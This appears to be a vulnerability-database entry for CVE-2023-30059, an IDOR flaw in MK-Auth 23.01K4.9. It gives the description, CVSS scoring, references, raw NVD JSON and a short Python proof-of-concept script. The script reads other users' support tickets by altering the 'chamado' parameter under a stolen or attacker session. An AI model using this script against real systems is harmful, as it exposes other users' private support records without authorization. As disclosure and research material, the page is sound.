CVE-2023-30059

Description

An insecure direct object reference in MK-Auth 23.01K4.9 allows attackers to access and send support calls for other users via manipulation of the chamado parameter through a crafted GET request.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

MK-Auth 23.01K4.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_idor_vulnerability(target_url, session_cookie, target_chamado_id):
    """
    PoC for CVE-2023-30059: IDOR in MK-Auth
    """
    headers = {
        "Cookie": f"PHPSESSID={session_cookie}"
    }
    # The vulnerable endpoint usually looks like /path/to/support?chamado=ID
    params = {
        "chamado": target_chamado_id
    }

    try:
        response = requests.get(target_url, headers=headers, params=params, timeout=10)
        if response.status_code == 200:
            print(f"[+] Successfully accessed chamado ID {target_chamado_id}")
            print(f"[+] Response content snippet: {response.text[:200]}")
            return True
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            return False
    except Exception as e:
        print(f"[!] Error occurred: {e}")
        return False

# Usage Example
# Replace these with actual values from the target environment
target = "http://target-ip/mk-auth/system/url"
session = "valid_attacker_session_id"
victim_id = "1002" # ID guessed or enumerated

check_idor_vulnerability(target, session, victim_id)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-30059
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-30059
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-30059/
[4] VulDB https://vuldb.com/cve/CVE-2023-30059
[5] https://github.com/yueslly/MKAUTH-IDOR

Raw JSON Data

JSON

{"cve": {"id": "CVE-2023-30059", "sourceIdentifier": "[email protected]", "published": "2026-05-12T16:16:12.137", "lastModified": "2026-05-13T15:48:11.537", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An insecure direct object reference in MK-Auth 23.01K4.9 allows attackers to access and send support calls for other users via manipulation of the chamado parameter through a crafted GET request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/yueslly/MKAUTH-IDOR", "source": "[email protected]"}]}}